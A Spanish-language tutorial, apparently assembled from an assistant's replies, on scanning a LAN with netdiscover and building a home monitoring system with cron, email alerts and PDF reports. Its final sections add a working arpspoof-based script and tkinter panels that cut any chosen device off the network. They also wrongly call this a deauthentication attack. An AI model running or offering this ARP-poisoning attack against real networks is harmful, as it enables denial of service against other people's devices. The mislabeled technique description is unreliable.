Netdiscover: Escaneo de Red en Kali
Netdiscover: Escaneo de Red en Kali
netdiscover es una herramienta de reconocimiento de red extremadamente útil y sencilla que viene preinstalada en Kali Linux. Se utiliza principalmente para escanear redes locales (LAN) en busca de dispositivos conectados, ya sea de forma activa o pasiva.
Aquí tienes una guía rápida para dominarla:
¿Para qué sirve?
A diferencia de otros escaneadores, netdiscover es excelente para encontrar dispositivos que no responden a pings tradicionales. Funciona enviando o escuchando peticiones ARP (Address Resolution Protocol), lo que permite identificar:
Direcciones IP.
Direcciones MAC.
Fabricante del dispositivo (basado en el prefijo de la MAC).
Modos de uso principales
1. Escaneo Automático (Modo Activo)
Este es el comando más común. Escanea todas las interfaces y busca hosts vivos enviando peticiones ARP.
sudo netdiscover
2. Escaneo de un Rango Específico
Si quieres centrarte en una subred específica para terminar más rápido y ser más preciso:
sudo netdiscover -r 192.168.1.0/24
3. Modo Pasivo (Invisibilidad)
En este modo, la herramienta no envía ningún paquete. Simplemente "escucha" el tráfico ARP existente en la red. Es ideal si quieres pasar desapercibido (aunque tarda más en recolectar datos).
sudo netdiscover -p
Tabla de Opciones Comunes
| Parámetro | Descripción |
-i | Especifica la interfaz de red (ej: eth0, wlan0). |
-r | Define el rango de red (ej: 10.0.0.0/8). |
-p | Modo pasivo: solo escucha, no transmite nada. |
-S | Modo de escaneo con tiempos de espera entre peticiones (más lento). |
-L | Continúa escaneando en modo pasivo después de terminar el escaneo activo. |
¿Cómo interpretar los resultados?
Una vez que el escaneo comienza, verás una tabla en tiempo real con columnas como:
IP Address: La dirección lógica del dispositivo.
MAC Address: La dirección física única del hardware.
Count: Cuántos paquetes se han detectado de ese host.
Vendor: El fabricante (ej: Apple, Samsung, Intel, Cisco).
Nota de seguridad: Recuerda que solo debes usar estas herramientas en redes de tu propiedad o donde tengas permiso explícito para realizar pruebas.
Automatizar esto es una excelente idea para poder analizar los datos después con calma o para llevar un registro de los dispositivos encontrados.
Para guardar los resultados en un archivo de texto, netdiscover no usa el típico redireccionamiento de Bash (>) muy bien debido a su interfaz visual, pero tiene un parámetro específico para ello: -P (que genera una salida apta para ser procesada o guardada).
Opción 1: Comando rápido
Si solo quieres ejecutarlo una vez y guardar el resultado en un archivo llamado escaneo.txt:
sudo netdiscover -r 192.168.1.0/24 -P > escaneo.txt
Opción 2: Script de automatización (Bash)
He preparado este pequeño script que te pregunta el rango de red y le asigna un nombre al archivo basado en la fecha y hora actual. Esto evita que sobrescribas escaneos anteriores por error.
Crea el archivo:
nano auto_scan.shPega el siguiente código:
#!/bin/bash
# Preguntar el rango de red
echo "Introduce el rango de red (ej: 192.168.1.0/24):"
read RANGO
# Generar nombre de archivo con fecha
ARCHIVO="escaneo_$(date +%Y%m%d_%H%M%S).txt"
echo "Escaneando $RANGO... Por favor, espera."
# Ejecutar netdiscover en modo 'print' y guardar
sudo netdiscover -r $RANGO -P > $ARCHIVO
echo "---------------------------------------"
echo "Escaneo finalizado. Resultados guardados en: $ARCHIVO"
echo "Contenido del archivo:"
cat $ARCHIVO
Dale permisos de ejecución:
chmod +x auto_scan.shEjecútalo:
./auto_scan.sh
¿Por qué es útil esto?
Documentación: Tienes pruebas de qué dispositivos estaban conectados en un momento exacto.
Comparación: Puedes ejecutarlo hoy y mañana, y usar el comando
diffpara ver si hay algún dispositivo nuevo (un posible intruso).Limpieza: Al usar
-P, eliminas los colores y caracteres especiales de la interfaz, dejando una lista limpia.
Para hacer esto, vamos a dar un paso hacia la monitorización de red. Crearemos un sistema que compare un escaneo nuevo con una "lista blanca" (dispositivos conocidos) y te envíe una alerta si encuentra algo sospechoso.
Aquí tienes los pasos para configurar tu propio sistema de vigilancia básico en Kali:
1. Crear la "Lista Blanca" (Dispositivos Autorizados)
Primero, realiza un escaneo de tu red cuando sepas que todo es seguro y guarda los resultados en un archivo llamado autorizados.txt. Este será nuestro punto de referencia.
sudo netdiscover -r 192.168.1.0/24 -P > autorizados.txt
2. El Script de Alerta (vigilante.sh)
Crea un archivo llamado vigilante.sh y pega el siguiente código. Este script comparará el escaneo actual con tu lista de autorizados:
#!/bin/bash
RANGO="192.168.1.0/24"
AHORA=$(date +"%Y-%m-%d %H:%M")
# 1. Realizar escaneo actual
sudo netdiscover -r $RANGO -P > actual.txt
# 2. Comparar con la lista blanca (solo direcciones MAC)
# Buscamos líneas que estén en 'actual' pero NO en 'autorizados'
NUEVOS=$(grep -Fvxf autorizados.txt actual.txt)
if [ -n "$NUEVOS" ]; then
echo "[$AHORA] ¡ALERTA! Dispositivo desconocido detectado:"
echo "$NUEVOS"
# Opcional: Enviar una notificación al escritorio de Kali
notify-send "SEGURIDAD DE RED" "Nuevo dispositivo detectado: $NUEVOS"
else
echo "[$AHORA] Red limpia. No hay intrusos."
fi
No olvides darle permisos: chmod +x vigilante.sh
3. Programarlo para que corra solo (Crontab)
Para que no tengas que ejecutarlo tú, usaremos el programador de tareas de Linux (cron).
Abre el editor de cron:
Bashcrontab -eAñade esta línea al final del archivo para que se ejecute cada 15 minutos:
Fragmento de código*/15 * * * * /ruta/a/tu/script/vigilante.sh >> /ruta/a/tu/log_red.txt(Asegúrate de poner la ruta completa a tu script).
¿Cómo funciona la lógica?
El sistema funciona mediante análisis de diferencias. Al comparar las direcciones MAC (que son identificadores físicos únicos de cada tarjeta de red), el script puede ignorar tu móvil, tu laptop y tu Smart TV, centrándose exclusivamente en cualquier dirección física que no haya visto antes.
Consideraciones importantes:
Falsos positivos: Si compras un dispositivo nuevo, el script te avisará. Solo tendrás que añadirlo a
autorizados.txt.MAC Spoofing: Un atacante avanzado podría clonar una MAC autorizada, pero para un vecino "curioso" o un intruso común, esto es una barrera excelente.
Para que tu servidor de Kali Linux envíe correos electrónicos desde la terminal, necesitamos una herramienta llamada ssmtp o msmtp. Usaremos msmtp porque es moderno, seguro y funciona de maravilla con Gmail o Outlook.
Aquí tienes los pasos para integrar las alertas por correo en tu script de vigilancia.
1. Instalar y configurar el cliente de correo
Primero, instala la herramienta:
sudo apt update && sudo apt install msmtp msmtp-mta
Ahora, configura tus credenciales. Crea el archivo de configuración:
nano ~/.msmtprc
Pega lo siguiente (ejemplo para Gmail):
Nota: Si usas Gmail, deberás generar una "Contraseña de aplicación" en tu cuenta de Google, ya que no permite usar tu contraseña normal por seguridad.
defaults
auth on
tls on
tls_trust_file /etc/ssl/certs/ca-certificates.crt
logfile ~/.msmtp.log
account gmail
host smtp.gmail.com
port 587
from tu-correo@gmail.com
user tu-correo@gmail.com
password tu-contraseña-de-aplicacion
default gmail
Dale permisos de lectura solo para tu usuario (crítico por seguridad):
chmod 600 ~/.msmtprc
2. Modificar el Script (vigilante_email.sh)
Ahora actualizamos el script anterior para que, además de avisar en pantalla, dispare el correo:
#!/bin/bash
RANGO="192.168.1.0/24"
EMAIL_DESTINO="tu-correo-personal@gmail.com"
AHORA=$(date +"%Y-%m-%d %H:%M")
# 1. Escaneo
sudo netdiscover -r $RANGO -P > actual.txt
# 2. Buscar intrusos (MACs que no están en autorizados.txt)
NUEVOS=$(grep -Fvxf autorizados.txt actual.txt)
if [ -n "$NUEVOS" ]; then
# Crear el cuerpo del correo
echo -e "Subject: ALERTA DE SEGURIDAD: Intruso en Red\n\nSe ha detectado actividad no autorizada en la red el $AHORA.\n\nDispositivos detectados:\n$NUEVOS" > cuerpo_mail.txt
# Enviar el correo
cat cuerpo_mail.txt | msmtp $EMAIL_DESTINO
echo "[$AHORA] Alerta enviada a $EMAIL_DESTINO"
else
echo "[$AHORA] Todo en orden."
fi
3. Flujo del Sistema de Alerta
Así es como queda tu arquitectura de seguridad simplificada:
¿Cómo probarlo?
Para verificar que el correo funciona antes de dejarlo automático, puedes forzar un envío manual:
echo "Prueba de alerta desde Kali" | msmtp tu-correo@gmail.com
Un par de consejos:
Spam: Revisa tu carpeta de correo no deseado la primera vez.
Log de intrusos: Podrías añadir una línea al script como
echo "$NUEVOS" >> historial_intrusos.txtpara tener una base de datos de cuándo y quién entró.
Para que el correo sea más legible y directo, vamos a usar awk. Esta herramienta nos permite "recortar" las columnas de la salida de netdiscover y quedarnos solo con lo que importa: IP, MAC y el Fabricante (Vendor).
Aquí tienes la versión mejorada del script.
Script Optimizado (vigilante_pro.sh)
#!/bin/bash
# --- CONFIGURACIÓN ---
RANGO="192.168.1.0/24"
EMAIL_DESTINO="tu-correo@gmail.com"
AHORA=$(date +"%Y-%m-%d %H:%M")
# --- PROCESO ---
# 1. Escaneo silencioso
sudo netdiscover -r $RANGO -P > actual.txt
# 2. Identificar nuevos (comparando con autorizados.txt)
NUEVOS=$(grep -Fvxf autorizados.txt actual.txt)
if [ -n "$NUEVOS" ]; then
# 3. Formatear la salida para que el correo sea legible
# Filtramos para mostrar: [IP] - [MAC] - [FABRICANTE]
DETALLES=$(echo "$NUEVOS" | awk '{print "IP: " $1 " | MAC: " $2 " | Fabricante: " $6 " " $7 " " $8}')
# 4. Crear y enviar el correo
echo -e "Subject: ⚠️ INTRUSO DETECTADO - $AHORA\n\nSe han encontrado dispositivos no autorizados:\n\n$DETALLES\n\nRevisa tu red inmediatamente." | msmtp $EMAIL_DESTINO
echo "[$AHORA] Alerta enviada con detalles de fabricante."
else
echo "[$AHORA] Red segura."
fi
¿Por qué filtrar por fabricante?
Saber quién fabricó la tarjeta de red del intruso es la pista definitiva para identificarlo rápidamente:
| Si el fabricante dice... | Probablemente sea... |
| Apple / Samsung | Un teléfono o tablet de un vecino. |
| Espressif | Un dispositivo inteligente (bombilla, enchufe WiFi). |
| Shenzhen / Unknown | Podría ser una Raspberry Pi o un equipo de ataque. |
| Intel / Hon Hai | Un ordenador portátil o de sobremesa. |
Cómo mantener tu "Lista Blanca" actualizada
Si el script te avisa de un dispositivo que sí es tuyo (por ejemplo, compraste una consola nueva), simplemente añádelo a tu lista de confianza para que no te vuelva a llegar el correo:
# Añade la línea del dispositivo nuevo al final de autorizados.txt
cat actual.txt | grep "LA_MAC_DEL_NUEVO" >> autorizados.txt
Para generar un informe profesional en PDF desde la terminal de Kali, utilizaremos una herramienta llamada Pandoc. Es el "convertidor universal" que transformará un archivo de texto simple en un documento PDF bien formateado.
Sigue estos pasos para configurar tu reporte automático:
1. Instalar las herramientas necesarias
Necesitamos Pandoc y un motor de PDF (como LaTeX, pero ligero):
sudo apt update && sudo apt install pandoc texlive-latex-base texlive-fonts-recommended -y
2. Crear el script de reporte semanal (reporte_semanal.sh)
Este script recogerá todas las alertas que hayamos guardado en un log (archivo de registro) durante la semana y generará el PDF.
Primero, asegúrate de que tu script anterior (vigilante_pro.sh) guarde una copia de cada alerta en un archivo histórico:
Añade esta línea dentro del
ifde tu script anterior:
echo "[$AHORA] $DETALLES" >> log_historico.txt
Ahora, crea el generador de informes:
#!/bin/bash
FECHA=$(date +"%Y-%m-%d")
ARCHIVO_MD="reporte_$FECHA.md"
ARCHIVO_PDF="reporte_red_$FECHA.pdf"
# 1. Crear el encabezado del reporte en formato Markdown
echo "# Informe Semanal de Seguridad de Red" > $ARCHIVO_MD
echo "## Fecha de generación: $FECHA" >> $ARCHIVO_MD
echo "---" >> $ARCHIVO_MD
echo "" >> $ARCHIVO_MD
echo "### Resumen de Dispositivos Desconocidos Detectados:" >> $ARCHIVO_MD
echo "" >> $ARCHIVO_MD
# 2. Volcar el historial de la semana (y limpiar el log para la siguiente)
if [ -s log_historico.txt ]; then
echo "| Fecha y Hora | Detalles del Dispositivo |" >> $ARCHIVO_MD
echo "| :--- | :--- |" >> $ARCHIVO_MD
cat log_historico.txt | sed 's/\[/| /g' | sed 's/\]/ | /g' >> $ARCHIVO_MD
# Vaciar el log para la nueva semana
# mv log_historico.txt log_pasado_$FECHA.txt
else
echo "No se detectaron intrusos ni dispositivos desconocidos esta semana. ¡Red segura!" >> $ARCHIVO_MD
fi
# 3. Convertir Markdown a PDF con Pandoc
pandoc $ARCHIVO_MD -o $ARCHIVO_PDF
echo "Informe PDF generado con éxito: $ARCHIVO_PDF"
3. Ejemplo de cómo se vería tu reporte
El PDF tendrá una estructura limpia como esta:
| Fecha y Hora | Detalles del Dispositivo |
| 2026-03-20 10:15 | IP: 192.168.1.45 |
| 2026-03-22 22:30 | IP: 192.168.1.102 |
4. Automatización Total (Cron)
Para que el informe se genere todos los lunes a las 8:00 AM, añade esto a tu crontab -e:
0 8 * * 1 /ruta/a/tu/reporte_semanal.sh
¿Qué ganamos con esto?
Auditoría: Tienes un registro legal y técnico de quién entra en tu red.
Profesionalismo: Si trabajas como sysadmin o técnico, presentar un PDF mensual de "Salud de Red" aporta muchísimo valor.
Limpieza: Al final de la semana, el log se procesa y empiezas de cero.
Vamos a darle un toque visual a tu reporte. Un gráfico de barras nos permitirá ver de un vistazo si los "intrusos" aparecen siempre a la misma hora (por ejemplo, cuando un vecino llega de trabajar).
Para esto usaremos Gnuplot, una herramienta clásica y potente para generar gráficos desde la terminal.
1. Instalar Gnuplot
Primero, asegúrate de tener la herramienta instalada en tu Kali:
sudo apt update && sudo apt install gnuplot -y
2. Actualizar el script de reporte (reporte_semanal_pro.sh)
Vamos a modificar el script para que analice las horas del archivo log_historico.txt, genere una imagen .png del gráfico y la inserte en el PDF.
#!/bin/bash
FECHA=$(date +"%Y-%m-%d")
ARCHIVO_MD="reporte_$FECHA.md"
ARCHIVO_PDF="reporte_red_$FECHA.pdf"
# --- PASO 1: PROCESAR DATOS PARA EL GRÁFICO ---
# Extraemos solo la hora (HH) de cada entrada del log y contamos cuántas hay por hora
cat log_historico.txt | cut -d' ' -f2 | cut -d':' -f1 | sort | uniq -c > datos_grafico.dat
# --- PASO 2: GENERAR EL GRÁFICO CON GNUPLOT ---
gnuplot << EOF
set terminal png size 800,400
set output 'grafico_horas.png'
set style data histogram
set style fill solid
set boxwidth 0.5
set title "Frecuencia de Intrusos por Hora del Día"
set xlabel "Hora (00-23)"
set ylabel "Número de detecciones"
set grid y
plot 'datos_grafico.dat' using 1:xtic(2) title 'Detecciones' linecolor rgb "#ff0000"
EOF
# --- PASO 3: CREAR EL DOCUMENTO MARKDOWN ---
echo "# 🛡️ Reporte Semanal de Vigilancia de Red" > $ARCHIVO_MD
echo "## Generado el: $FECHA" >> $ARCHIVO_MD
echo "" >> $ARCHIVO_MD
echo "### 📊 Análisis de Actividad" >> $ARCHIVO_MD
echo "Este gráfico muestra en qué franjas horarias se detectaron dispositivos desconocidos:" >> $ARCHIVO_MD
echo "" >> $ARCHIVO_MD
echo "" >> $ARCHIVO_MD
echo "" >> $ARCHIVO_MD
echo "### 📋 Detalle de Dispositivos" >> $ARCHIVO_MD
if [ -s log_historico.txt ]; then
echo "| Fecha y Hora | Información del Dispositivo |" >> $ARCHIVO_MD
echo "| :--- | :--- |" >> $ARCHIVO_MD
cat log_historico.txt | sed 's/\[/| /g' | sed 's/\]/ | /g' >> $ARCHIVO_MD
else
echo "No se registraron incidencias esta semana." >> $ARCHIVO_MD
fi
# --- PASO 4: CONVERTIR A PDF ---
pandoc $ARCHIVO_MD -o $ARCHIVO_PDF
echo "✅ Reporte con gráfico generado: $ARCHIVO_PDF"
¿Cómo interpretar el gráfico?
El resultado será una imagen integrada en tu PDF que se verá algo así:
Picos nocturnos: Si ves barras altas a las 22:00 o 23:00, es probable que sea alguien que llega a casa y su móvil se conecta automáticamente.
Barras constantes: Si hay detecciones a todas las horas, podría ser un dispositivo IoT (como una cámara o un enchufe inteligente) que está intentando comunicarse.
Un pequeño truco de seguridad:
Si el gráfico muestra actividad a las 3:00 AM cuando no debería haber nadie despierto, ¡tienes una pista excelente para investigar!
Esta técnica se conoce como ARP Spoofing o ARP Poisoning. Básicamente, le diremos al router que tú eres el intruso, y al intruso que tú eres el router. Al posicionarte en medio, puedes simplemente "tirar" sus paquetes al suelo, dejándolo sin internet.
Para esto usaremos la herramienta arpspoof, que forma parte del paquete dsniff.
1. Preparación
Instala las herramientas necesarias si no las tienes:
sudo apt update && sudo apt install dsniff -y
También necesitamos asegurarnos de que tu Kali no reenvíe los paquetes del intruso (queremos bloquearlo, no ser su puente):
sudo sysctl -w net.ipv4.ip_forward=0
2. El Script de "Expulsión" (kick_intruder.sh)
Este script tomará la IP del intruso y la IP de tu gateway (el router) para cortar la comunicación entre ambos.
#!/bin/bash
# --- CONFIGURACIÓN ---
INTERFAZ="eth0" # Cambia a wlan0 si usas WiFi
GATEWAY="192.168.1.1" # La IP de tu router
INTRUSO=$1 # Pasaremos la IP como argumento
if [ -z "$INTRUSO" ]; then
echo "Uso: sudo ./kick_intruder.sh [IP_DEL_INTRUSO]"
exit 1
fi
echo "🚫 Bloqueando tráfico para: $INTRUSO"
echo "Presiona Ctrl+C para detener el bloqueo y devolverle el acceso."
# Ejecutar arpspoof en segundo plano para engañar al intruso y al router
# -t especifica el objetivo (target)
sudo arpspoof -i $INTERFAZ -t $INTRUSO $GATEWAY > /dev/null 2>&1 &
sudo arpspoof -i $INTERFAZ -t $GATEWAY $INTRUSO > /dev/null 2>&1 &
# Mantener el script vivo hasta que lo canceles
wait
3. Integración con tu Vigilante
Si quieres que el bloqueo sea automático (ojo, esto es agresivo), puedes añadir una línea a tu script vigilante_pro.sh para que ejecute el bloqueo en cuanto detecte una MAC desconocida.
Sin embargo, te recomiendo usarlo manualmente primero para evitar bloquear por error un dispositivo nuevo que hayas comprado tú.
Modo de uso manual:
sudo ./kick_intruder.sh 192.168.1.45
🛡️ Advertencias de Seguridad
Ética: Usa esto solo en tu propia red. Bloquear dispositivos en redes ajenas es ilegal en muchos países.
Carga de red: El ARP Spoofing genera tráfico constante. No lo dejes encendido para 50 dispositivos a la vez o saturarás tu propia interfaz.
Contramedidas: Algunos routers modernos tienen "ARP Inspection" o "Port Security" que podrían detectar tu Kali y bloquear tu puerto por seguridad.
¡Esto ya se está convirtiendo en un centro de operaciones de seguridad profesional! Vamos a crear una interfaz gráfica sencilla con Python y la librería tkinter.
Este panel leerá tu archivo actual.txt (generado por netdiscover), te mostrará quién está conectado y te dará un botón rojo de "KICK" para cada intruso.
1. Requisitos previos
Necesitas instalar una pequeña utilidad para que Python pueda ejecutar comandos de sistema fácilmente:
sudo apt update && sudo apt install python3-tk -y
2. El Código del Panel (panel_control.py)
Crea el archivo y pega este código. He diseñado la lógica para que sea intuitiva:
import tkinter as tk
from tkinter import messagebox
import os
import subprocess
def ejecutar_kick(ip):
# Llama a tu script de bloqueo en una nueva terminal
comando = f"sudo gnome-terminal -- bash -c './kick_intruder.sh {ip}; exec bash'"
os.system(comando)
messagebox.showinfo("Acción", f"Bloqueo iniciado contra {ip}")
def cargar_dispositivos():
# Limpiar lista actual
for widget in frame_lista.winfo_children():
widget.destroy()
# Leer el archivo generado por netdiscover
if os.path.exists("actual.txt"):
with open("actual.txt", "r") as f:
for linea in f:
partes = linea.split()
if len(partes) >= 3:
ip = partes[0]
mac = partes[1]
vendor = " ".join(partes[5:8])
row = tk.Frame(frame_lista, pady=5)
row.pack(fill="x")
tk.Label(row, text=f"{ip} | {vendor}", width=40, anchor="w").pack(side="left")
tk.Button(row, text="KICK", fg="white", bg="red",
command=lambda i=ip: ejecutar_kick(i)).pack(side="right")
# --- Interfaz Gráfica ---
root = tk.Tk()
root.title("Kali Net-Sentry Panel")
root.geometry("500x400")
tk.Label(root, text="DISPOSITIVOS DETECTADOS", font=("Arial", 14, "bold")).pack(pady=10)
btn_refresh = tk.Button(root, text="Actualizar Lista", command=cargar_dispositivos)
btn_refresh.pack(pady=5)
frame_lista = tk.Frame(root)
frame_lista.pack(fill="both", expand=True, padx=20)
cargar_dispositivos()
root.mainloop()
3. Cómo usar tu nuevo Panel de Control
Escanea primero: Ejecuta tu escaneo manual para generar el archivo:
sudo netdiscover -r 192.168.1.0/24 -P > actual.txt.Lanza el panel:
sudo python3 panel_control.py.Acción: Verás la lista de dispositivos. Si ves una IP que no te suena, dale al botón KICK. Se abrirá una pequeña terminal negra ejecutando el ataque de desautenticación.
4. ¿Qué hemos construido hasta ahora?
Has pasado de usar un comando básico a tener un ecosistema de defensa:
Detección:
netdiscover(Activo/Pasivo).Vigilancia: Script cron que compara con lista blanca.
Notificación: Alertas por correo con
msmtp.Reportes: Documentos PDF con gráficos de
gnuplot.Respuesta: Bloqueo de red con
arpspoofdesde un panel Python.
Una última mejora de experto
Si quieres que este panel sea realmente útil, podríamos añadir una columna que compare automáticamente la MAC detectada con tu archivo autorizados.txt y marque en amarillo los dispositivos que son nuevos.
Añadir un código de colores es la diferencia entre una herramienta útil y una profesional. Nos permitirá identificar visualmente quién es un "amigo" y quién es un "desconocido" sin tener que leer cada dirección MAC.
Aquí tienes la versión evolucionada del panel en Python. He añadido una función que carga tu archivo autorizados.txt y lo usa como referencia de seguridad.
Panel de Control con Alerta Visual (panel_seguridad_v2.py)
import tkinter as tk
from tkinter import messagebox
import os
# --- LÓGICA DE SEGURIDAD ---
def obtener_macs_autorizadas():
"""Lee el archivo autorizados.txt y devuelve una lista de MACs."""
autorizadas = []
if os.path.exists("autorizados.txt"):
with open("autorizados.txt", "r") as f:
for linea in f:
partes = linea.split()
if len(partes) >= 2:
autorizadas.append(partes[1].lower()) # La MAC es la segunda columna
return autorizadas
def ejecutar_kick(ip):
"""Lanza el ataque de desautenticación en una nueva terminal."""
comando = f"sudo gnome-terminal -- bash -c './kick_intruder.sh {ip}; exec bash'"
os.system(comando)
def cargar_dispositivos():
"""Actualiza la lista visual comparando con la lista blanca."""
for widget in frame_lista.winfo_children():
widget.destroy()
macs_ok = obtener_macs_autorizadas()
if os.path.exists("actual.txt"):
with open("actual.txt", "r") as f:
for linea in f:
p = linea.split()
if len(p) >= 3:
ip, mac, vendor = p[0], p[1], " ".join(p[5:8])
es_conocido = mac.lower() in macs_ok
# Definir color: Verde para conocidos, Amarillo/Naranja para desconocidos
color_fondo = "#d4edda" if es_conocido else "#fff3cd"
texto_estado = " [OK]" if es_conocido else " [!] DESCONOCIDO"
row = tk.Frame(frame_lista, bg=color_fondo, pady=5, padx=10, bd=1, relief="groove")
row.pack(fill="x", pady=2)
lbl_info = tk.Label(row, text=f"{ip} | {mac} | {vendor}{texto_estado}",
bg=color_fondo, font=("Courier", 10))
lbl_info.pack(side="left")
# Solo mostramos el botón KICK si es un desconocido (o siempre, por si acaso)
btn_kick = tk.Button(row, text="EXPULSAR", bg="#dc3545", fg="white",
command=lambda i=ip: ejecutar_kick(i))
btn_kick.pack(side="right")
# --- INTERFAZ ---
root = tk.Tk()
root.title("Kali Network Guardian v2.0")
root.geometry("650x500")
tk.Label(root, text="MONITOR DE RED EN TIEMPO REAL", font=("Arial", 16, "bold")).pack(pady=15)
frame_controles = tk.Frame(root)
frame_controles.pack(pady=10)
tk.Button(frame_controles, text="🔄 ACTUALIZAR LISTA", command=cargar_dispositivos,
bg="#007bff", fg="white", padx=20).pack(side="left", padx=5)
frame_lista = tk.Frame(root)
frame_lista.pack(fill="both", expand=True, padx=20, pady=10)
cargar_dispositivos()
root.mainloop()
¿Cómo funciona el semáforo de seguridad?
Cuando abras el panel, verás lo siguiente:
Filas Verdes: Son los dispositivos que coinciden con tu
autorizados.txt. No tienes de qué preocuparte, son tus equipos habituales.Filas Amarillas/Naranjas: Son dispositivos que
netdiscoverha encontrado pero que no están en tu lista de confianza.Botón Rojo: Si ves una fila amarilla con un fabricante que no reconoces (o uno genérico), el botón "EXPULSAR" ejecutará el script de ARP Spoofing que hicimos antes.
Consejos para un uso avanzado
Detección de "Spoofing" propio: Si ves tu propia dirección MAC pero con una IP diferente, ¡podría ser alguien intentando atacarte a ti!
Mantenimiento: Cada vez que compres un móvil o PC nuevo, el panel lo marcará en amarillo. Una vez que confirmes que es tuyo, añádelo a
autorizados.txty al darle a "Actualizar" volverá a salir en verde.
Has creado un sistema completo de Intrusion Prevention System (IPS) casero pero muy potente.
